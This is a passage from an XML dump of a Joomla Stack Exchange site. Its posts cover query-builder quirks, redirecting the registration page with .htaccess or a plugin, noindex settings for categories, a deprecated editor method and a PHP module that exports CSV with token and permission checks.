&lt;a href=&quot;https://www.tutorialspoint.com/What-is-the-difference-between-CONCAT-and-CONCAT-WS-functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learn the difference.&lt;/a&gt;  While Joomla tries to provide a safeguard against a trouble-making &lt;code&gt;null&lt;/code&gt; value as the separator/glue parameter via &lt;code&gt;if ($separator)&lt;/code&gt;, it ruins the opportunity to glue columns/text which may or may not be &lt;code&gt;NULL&lt;/code&gt; together with an empty space (not &lt;code&gt;NULL&lt;/code&gt;).  What might cause trouble is if &lt;code&gt;CONCAT()&lt;/code&gt; is rendered by the method and one of the values to be glued together is &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&#xA;  Syntax:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($query-&amp;gt;concatenate([&quot;month&quot;, &quot;status&quot;]))&#xA;    -&amp;gt;from(&quot;#__calendar&quot;)&#xA;    -&amp;gt;where(&quot;id = 4&quot;);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($query-&amp;gt;concatenate([&quot;month&quot;, &quot;status&quot;], &quot;&quot;))&#xA;    -&amp;gt;from(&quot;#__calendar&quot;)&#xA;    -&amp;gt;where(&quot;id = 4&quot;);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Output: &lt;strong&gt;NULL&lt;/strong&gt; instead of: &quot;April&quot; (with empty string glued to end)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solutions&lt;/strong&gt;:&#xA;&lt;a href=&quot;https://stackoverflow.com/q/15741314/2943403&quot;&gt;Learn about NULL-converting techniques and other workarounds here&lt;/a&gt;.&lt;br&gt;&#xA;There are too many fringe cases to spell out here, but you might wish to employ &lt;code&gt;COALESCE(`column_with_possibly_null_values`,'')&lt;/code&gt; or &lt;code&gt;IFNULL(`column_with_possibly_null_values`,'')&lt;/code&gt; or avoid the Joomla method entirely and manually code your preferred MySQL function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recommendation&lt;/strong&gt;:  I'd actually like the gitters to consider modifying the source code from &lt;code&gt;if ($separator)&lt;/code&gt; to &lt;code&gt;if ($separator !== null)&lt;/code&gt; or similar to permit the use of an empty string as glue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Syntax Error With regexp()&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&#xA;  Syntax:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;month&quot;)&#xA;    -&amp;gt;from(&quot;#__calendar&quot;)&#xA;    -&amp;gt;where($db-&amp;gt;qn(&quot;month&quot;) . $query-&amp;gt;regexp(&quot;[^elrty]$&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Error: &lt;strong&gt;Query Syntax Error&lt;/strong&gt; ...near &lt;code&gt;[^elrty]$&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: The regex pattern must be single-quoted, so use &lt;code&gt;$db-q()&lt;/code&gt; or &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;month&quot;)&#xA;    -&amp;gt;from(&quot;#__calendar&quot;)&#xA;    -&amp;gt;where($db-&amp;gt;qn(&quot;month&quot;) . $query-&amp;gt;regexp($db-&amp;gt;q(&quot;[^elrty]$&quot;)));  // output: March&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally&lt;/strong&gt;:  If you are going to pass user-supplied / untrusted data into the regex pattern, understand that you will need to escape characters with special meaning to the regex engine. In php, the tool is almost always &lt;code&gt;preg_quote()&lt;/code&gt;, but because we are passing the value all the way through to MySQL, some additional adjustment is required (double-backslashing is used for escaping). If you are not overly familiar with MySQL's implementation or regular expressions, be aware that pattern delimiters are not used and that if you are going to use forward slashes in your pattern, you will need to write &lt;code&gt;\\\\&lt;/code&gt; in php for every &lt;code&gt;\&lt;/code&gt; that you intend to deliver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New Example&lt;/strong&gt;: If a row had a &lt;code&gt;month&lt;/code&gt; value of &lt;code&gt;wh^t? the hey!&lt;/code&gt; and you wanted to search for it by providing &lt;code&gt;$search = &quot;wh^t? the&quot;&lt;/code&gt; into &lt;code&gt;regexp()&lt;/code&gt;, you would need a where clause coded like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;month &quot; . $query-&amp;gt;regexp($db-&amp;gt;q(preg_replace('~[-/\\^$*+?.()|[\]{}]~u', '\\\\\\\\$0', $search), false)));&#xA;// yes, you really do need all of these backslashes ------------------------------^^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it would render as &lt;code&gt;WHERE month  REGEXP 'wh\\^t\\? the'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if you wanted to include word boundaries on both sides of the search variable in your condition logic, the expression would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;month &quot; . $query-&amp;gt;regexp($db-&amp;gt;quote('([[:&amp;lt;:]]|^)' . preg_replace('~[-/\\^$*+?.()|[\]{}]~u', '\\\\\\\\$0', $search) . '([[:&amp;gt;:]]|$)', false)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it would render as &lt;code&gt;WHERE month  REGEXP '([[:&amp;lt;:]]|^)wh\\^t\\? the([[:&amp;gt;:]]|$)'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Passing a Seed to rand()&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is certainly a lesser known bit of functionality and not likely to be implemented for the vast majority of queries seeking randomization, but MySQL's &lt;code&gt;RAND()&lt;/code&gt; function accepts an optional parameter to be used as the &quot;seed&quot;.  &lt;a href=&quot;https://www.w3resource.com/mysql/mathematical-functions/mysql-rand-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learn more.&lt;/a&gt;  This is useful if you need a predictable/repeatable sequence of &quot;random numbers&quot; for your query.  Unfortunately, the Joomla core doesn't acknowledge any parameters passed to this function and will silently omit the seed value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&#xA;  Syntax:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;month&quot;)&#xA;    -&amp;gt;from(&quot;#__calendar&quot;)&#xA;    -&amp;gt;where(&quot;FLOOR(&quot; . $query-&amp;gt;rand(2) . &quot;*10) = 9&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Output: &lt;strong&gt;[completely random / unpredictable resultset]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Do not call the &lt;code&gt;rand()&lt;/code&gt; method when supplying a seed value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;month&quot;)&#xA;    -&amp;gt;from(&quot;#__calendar&quot;)&#xA;    -&amp;gt;where(&quot;FLOOR(RAND(2)*10) = 9&quot;);  // output: June (*everytime)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recommendation&lt;/strong&gt;: I would like to see the source code updated to allow the passing of a seed value.  Overall, I find this method to be a waste of programming, because offers less functionality and bloats the query building process with more characters.  Do we need a method for every function? e.g. &lt;code&gt;FLOOR()&lt;/code&gt;, &lt;code&gt;MAX()&lt;/code&gt;, etc?  If nothing else is done, the capital &lt;code&gt;R&lt;/code&gt; typo should be changed in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Full disclosure, I've never used &lt;code&gt;RAND()&lt;/code&gt; with a seed in any of my projects -- this is new discovery for me.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Using castAsChar() Without a Length Parameter&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&#xA;  Syntax:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;id, month&quot;)&#xA;      -&amp;gt;from($db-&amp;gt;qn(&quot;#__calendar&quot;))&#xA;      -&amp;gt;where(&quot;id IN (1,2,10,11,12)&quot;)&#xA;      -&amp;gt;order($query-&amp;gt;castAsChar(&quot;id&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Output: &lt;strong&gt;[natural sorting (numeric) instead of computer sorting (alphabetically)]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.natsort.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learn more about natural versus computer sorting.&lt;/a&gt;  The source code is designed to abort the method's default action if there is no length parameter supplied in the call.  The rendered order clause becomes: &lt;code&gt;ORDER BY id&lt;/code&gt;  &amp;lt;- no trace of &lt;code&gt;CHAR()&lt;/code&gt; despite the developer's intention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Do not call this method if you are not going to provide a length parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&quot;id, month&quot;)&#xA;    -&amp;gt;from($db-&amp;gt;qn(&quot;#__calendar&quot;))&#xA;    -&amp;gt;where(&quot;id IN (1,2,10,11,12)&quot;)&#xA;    -&amp;gt;order(&quot;CAST(id AS CHAR)&quot;);  // output order: 1, 10, 11, 12, 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally&lt;/strong&gt;: This function can be used to truncate a value to a certain amount of characters (multibyte-safe).  So, &lt;code&gt;SELECT CAST('âêîôû' AS CHAR(2))&lt;/code&gt; returns &lt;code&gt;âê&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recommendation&lt;/strong&gt;: Providing more flexibility (or additional methods) to the types of casting that can be done seems like a good idea.  &lt;a href=&quot;http://www.mysqltutorial.org/mysql-cast/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learn about other types.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-07-22T21:57:54.607" LastActivityDate="2019-07-22T21:57:54.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24305" PostTypeId="2" ParentId="24265" CreationDate="2019-02-23T13:07:17.710" Score="0" Body="&lt;p&gt;I changed the script to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php&#xA;            // No direct access to this file&#xA;            defined('_JEXEC') or die;&#xA;&#xA;            /**&#xA;             * Script file of HelloWorld module&#xA;             */&#xA;            class mod_w4c_accordion_displayInstallerScript&#xA;            {&#xA;&#xA;                /**&#xA;                 * Method to install the extension&#xA;                 * $parent is the class calling this method&#xA;                 *&#xA;                 * @return void&#xA;                 */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key to success was NOT removing the underscores - something you do with other areas of Joomla like in a helper.php file.  Once I'd done this it worked without a problem.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2019-02-23T13:07:17.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24306" PostTypeId="1" AcceptedAnswerId="24307" CreationDate="2019-02-23T16:42:11.410" Score="1" ViewCount="916" Body="&lt;p&gt;I would like to redirect registration page to homepage by using &lt;code&gt;.htaccess&lt;/code&gt; now my code is redirecting to &lt;code&gt;/component/users/?view=login&amp;amp;Itemid=437&lt;/code&gt; which is login page. I would like to make registration and front-end login page not accessible for users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the target is to redirect &lt;code&gt;/component/users/?view=login&amp;amp;Itemid=437&lt;/code&gt; and &lt;code&gt;/index.php?option=com_users&amp;amp;view=registration&amp;amp;Itemid=999&lt;/code&gt; to &quot;403 error page&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# RewriteBase /&#xA;&#xA;# Disable calls to user registration (&quot;register&quot;, this url ends with: view=registration))&#xA;# Send all blocked request to homepage, use Flag [F] for 403 Forbidden error!&#xA;RewriteCond %{QUERY_STRING} (view=registration) [NC]&#xA;RewriteRule .* index.php [F]&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13178" LastActivityDate="2019-02-24T09:02:50.280" Title="Redirect direct registration page access by .htaccess" Tags="|.htaccess-configuration|registration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24307" PostTypeId="2" ParentId="24306" CreationDate="2019-02-23T19:04:41.160" Score="0" Body="&lt;p&gt;If you really want to close out visitors from users pages, then maybe you can also create a &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;system plugin&lt;/a&gt; and &lt;code&gt;onAfterroute&lt;/code&gt; event you could use something like the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute()&#xA;{&#xA;    if ($this-&amp;gt;app-&amp;gt;getRouter()-&amp;gt;getVar('option') === 'com_users')&#xA;    {&#xA;        $guestRedirectUrl = '/index.php';&#xA;        $this-&amp;gt;app-&amp;gt;redirect($guestRedirectUrl, $status = 303);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(if you use it on a live webserver, the leading slash is not needed in the redirect url).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or another version, as @Sharky has suggested, the following is more effective on sef urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;get('view') === 'registration')&#xA;{&#xA;    // let's redirect...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a sudden idea on this, instead of using .htaccess for redirect. From the router you can get &lt;code&gt;Itemid&lt;/code&gt; or &lt;code&gt;view&lt;/code&gt; too, so it can work on more precise condition too like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ($this-&amp;gt;app-&amp;gt;getRouter()-&amp;gt;getVar('view') === 'registration')&lt;/code&gt; and on many other versions of conditions. if sef urls are used this will not work on those pages, however this will:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pagevars = $this-&amp;gt;app-&amp;gt;getRouter()-&amp;gt;getVars();&#xA;if ($pagevars['option'] === 'com_users' &amp;amp;&amp;amp; $pagevars['Itemid'] === '437')&#xA;{&#xA;    // do redirect...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Itemid should be changed to your registration page's Itemid of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Itemid&lt;/strong&gt; and &lt;strong&gt;option&lt;/strong&gt; (component name) is available via router too even if someone uses sef urls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; creating a plugin for these kind of small tasks sounds quite stupid, but it is not if you can/would later use this same custom system plugin of yours to do few other things on your site via a system plugin. It comes handy at those times too.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-02-24T09:02:50.280" LastActivityDate="2019-02-24T09:02:50.280" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24308" PostTypeId="1" AcceptedAnswerId="24442" CreationDate="2019-02-24T15:34:53.747" Score="1" ViewCount="409" Body="&lt;p&gt;Is there a way to make all my categories to be &quot;noindex&quot;? (Plugin or even better default joomla way)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now crawlers find the category URLs and thus create duplicate content on search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be great to have one central config for all categories.&lt;/p&gt;&#xA;" OwnerUserId="3956" LastEditorUserId="3956" LastEditDate="2019-02-25T07:02:24.090" LastActivityDate="2019-04-06T13:41:14.423" Title="How to make Category Links noindex" Tags="|url|seo|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24309" PostTypeId="2" ParentId="24308" CreationDate="2019-02-24T17:03:48.857" Score="2" Body="&lt;p&gt;You can walk through all categories, and in the &lt;code&gt;Publishing&lt;/code&gt; tab, set the &lt;code&gt;Robots&lt;/code&gt; option to No Index.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2019-02-24T17:03:48.857" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24310" PostTypeId="1" AcceptedAnswerId="24311" CreationDate="2019-02-25T12:17:33.313" Score="2" ViewCount="717" Body="&lt;p&gt;I am upgrading one of my component to support Joomla 4 and I am getting this error in webpage&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to undefined method Joomla\CMS\Editor\Editor::getContent&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code that throws this error is in views-&gt;tmpl-&gt;edit.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var datdescription = &amp;lt;?php echo $this-&amp;gt;editor-&amp;gt;getContent( 'datdescription' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I checked Joomla Site for &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;backward compatibility&lt;/a&gt; I could not find any solution. But when I checked this link &lt;a href=&quot;https://api.joomla.org/cms-3/deprecated.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/deprecated.html&lt;/a&gt; and searched for &lt;code&gt;getContent&lt;/code&gt; I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\Joomla\CMS\Editor\Editor::getContent()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;deprecated Use &lt;code&gt;Joomla.editors API, see core.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="8486" LastEditorUserId="12352" LastEditDate="2019-02-25T21:44:24.390" LastActivityDate="2019-02-25T21:44:24.390" Title="Getting Error &quot;Call to undefined method Joomla\CMS\Editor\Editor::getContent&quot;" Tags="|editor|joomla-4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24311" PostTypeId="2" ParentId="24310" CreationDate="2019-02-25T15:34:54.693" Score="2" Body="&lt;p&gt;As it is explained in core.js: instead of using &lt;strong&gt;getContent()&lt;/strong&gt; method you should use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;To get the current editor value:&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.editors.instances['jform_articletext'].getValue();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;jform_articletext&lt;/code&gt; means the textarea id and you have to change that value if your textarea id is something else. So in your case it could be for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;let datdescription = Joomla.editors.instances['datdescription'].getValue();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2019-02-25T15:34:54.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24312" PostTypeId="2" ParentId="24293" CreationDate="2019-02-25T18:12:27.220" Score="1" Body="&lt;p&gt;It looks like you have activated &lt;code&gt;Search Engine Friendly URLs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this case you need to add to your &lt;code&gt;robots.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;# disallow login from of joomla&#xA;Disallow: /component/users/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2019-02-25T18:12:27.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24314" PostTypeId="2" ParentId="24285" CreationDate="2019-02-26T06:06:34.007" Score="3" Body="&lt;p&gt;It turned out that using @n.h.'s nifty output buffer cleansing workaround was not necessary after implementing @Sharky's advice regarding &lt;code&gt;com_ajax&lt;/code&gt; and &lt;code&gt;getAjax()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that researchers will be able to access a complete solution for their own needs, I'll post a &quot;boiled down&quot; version of my complete working solution which can be easily amended to suit other scenarios.  This is condensed into the &lt;code&gt;mod_[modname].php&lt;/code&gt;** and &lt;code&gt;helper.php&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note that &lt;code&gt;tmpl/default.php&lt;/code&gt; was not used, though I typically use it for displaying html content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**I will use the placeholder &lt;strong&gt;&lt;em&gt;[modname]&lt;/em&gt;&lt;/strong&gt; for all places where the actual/unique module name should be written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;fopen(&quot;php://output&quot;, &quot;w&quot;)&lt;/code&gt; and &lt;code&gt;fputcsv()&lt;/code&gt; is an integral piece of best practice inside of the &lt;code&gt;exportToExcel()&lt;/code&gt; method to provide a &quot;stable&quot; document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deliberately used &lt;code&gt;JHtml::date('now', 'Y_m_d_h_i_s', 'Australia/Brisbane')&lt;/code&gt; for the generated report's timestamp so that it will be consistent regardless of the user's profile timezone and regardless of the server's timezone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default behavior of this script will be to display an html table with the query data.  The new excel document will be generated and forced to download after the &quot;Download&quot; button has been clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_[modname].php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;mod[modname]Helper::showAsHTML();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;class mod[modname]Helper&#xA;{&#xA;    public static function getAjax()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // Check for request forgeries&#xA;        if (!$app-&amp;gt;getSession()-&amp;gt;checkToken())&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage(Text::_('JINVALID_TOKEN'));&#xA;            $app-&amp;gt;redirect('index.php');&#xA;        }&#xA;&#xA;        // Check for user permissions (only example)&#xA;        if (!JFactory::getUser()-&amp;gt;authorise('core.admin'))&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'));&#xA;            $app-&amp;gt;redirect('index.php?option=com_users&amp;amp;view=login');&#xA;        }&#xA;&#xA;        self::exportToExcel();&#xA;    }&#xA;&#xA;    public static function getResultSet()&#xA;    {           &#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // build your query; yatta-yatta&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        // load the results&#xA;        try&#xA;        {&#xA;            if (!$resultset = $db-&amp;gt;loadAssocList()) {&#xA;                return [['Status' =&amp;gt; 'No Rows Found']];&#xA;            }&#xA;            return $resultset;&#xA;        }&#xA;        catch (Exception $e)&#xA;        {&#xA;            return [['Error' =&amp;gt; 'Syntax Failure']]; //, ['Message' =&amp;gt; $e-&amp;gt;getMessage()], ['Query' =&amp;gt; $query-&amp;gt;dump()]];&#xA;        }&#xA;    }&#xA;&#xA;    public static function exportToExcel()&#xA;    {&#xA;        // define output settings&#xA;        header(&quot;Content-type: text/csv&quot;);&#xA;        header(&quot;Content-Disposition: attachment; filename=Report_&quot; . JHtml::date('now', 'Y_m_d_h_i_s', 'Australia/Brisbane') . &quot;.csv&quot;);  // create unique document name&#xA;        header(&quot;Pragma: no-cache&quot;);&#xA;        header(&quot;Expires: 0&quot;);&#xA;&#xA;        // get db data&#xA;        $resultset = self::getResultSet();&#xA;        $column_heads = array_map('ucwords', str_replace('_', ' ', array_keys($resultset[0])));  // pretty up the column headings&#xA;&#xA;        // write output&#xA;        $fp = fopen(&quot;php://output&quot;, &quot;w&quot;);&#xA;        fputcsv ($fp, $column_heads);&#xA;        foreach ($resultset as $row)&#xA;        {&#xA;            fputcsv($fp, $row);&#xA;        }&#xA;        fclose($fp);&#xA;&#xA;        // Close the application gracefully.&#xA;        JFactory::getApplication()-&amp;gt;close();&#xA;    }&#xA;&#xA;    public static function showAsHTML()&#xA;    {&#xA;        $resultset    = self::getResultSet();&#xA;        $column_heads = array_map('ucwords', str_replace('_', ' ', array_keys($resultset[0])));  // pretty up the column headings&#xA;&#xA;        ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Report&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;form method=&quot;post&quot; style=&quot;display:inline; margin-left:12px;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_ajax&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;module&quot; value=&quot;[mod_name]&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;format&quot; value=&quot;raw&quot;&amp;gt;&#xA;            &amp;lt;?=HTMLHelper::_('form.token')?&amp;gt;&#xA;            &amp;lt;button type=&quot;submit&quot;&amp;gt;Download&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/form&amp;gt; &#xA;        &amp;lt;?php&#xA;        echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;&quot; , implode(&quot;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&quot;, $column_heads) , &quot;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            foreach ($resultset as $row) {&#xA;                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&quot; , implode(&quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;, array_map(&quot;htmlspecialchars&quot;, $row)) , &quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            }&#xA;        echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-14T07:34:51.423" LastActivityDate="2019-06-14T07:34:51.423" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
